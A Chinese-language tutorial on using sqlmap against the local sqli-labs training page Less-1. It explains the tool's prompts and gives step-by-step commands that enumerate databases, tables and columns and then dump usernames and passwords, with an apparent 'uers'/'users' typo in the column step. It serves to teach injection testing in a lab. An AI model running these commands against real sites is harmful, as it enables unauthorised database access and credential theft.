以sqli/Less-1/为例
1.检测目标路径
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1"
之后会出现三个选择项,均按回车键即可。(回车键会默认选择大写字母选项)
1.it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
意思大概是检测到数据库是MySQL,问你是否想要跳过其他数据库进行检测。
2.for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余测试,是否用等级为1,风险为1进行检测。
3.GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)[y/N]
GET 参数“id”容易受到攻击。是否要继续测试其他(如果有)?[是/否]
这里我们只有一个参数id,所以回车键会默认选择N。
最终检测结果如下图所示。
这里给出了四种get型注入的方法,分别是基于布尔的盲注,基于报错的注入,基于时间的盲注,联合查询注入。
2.获取数据库名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
3.获取表名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D"security" --tables
4.获取列名
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D"security" -T"uers" --columns
5.获取字段信息
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D"security" -T"users" -C"username,password" --dump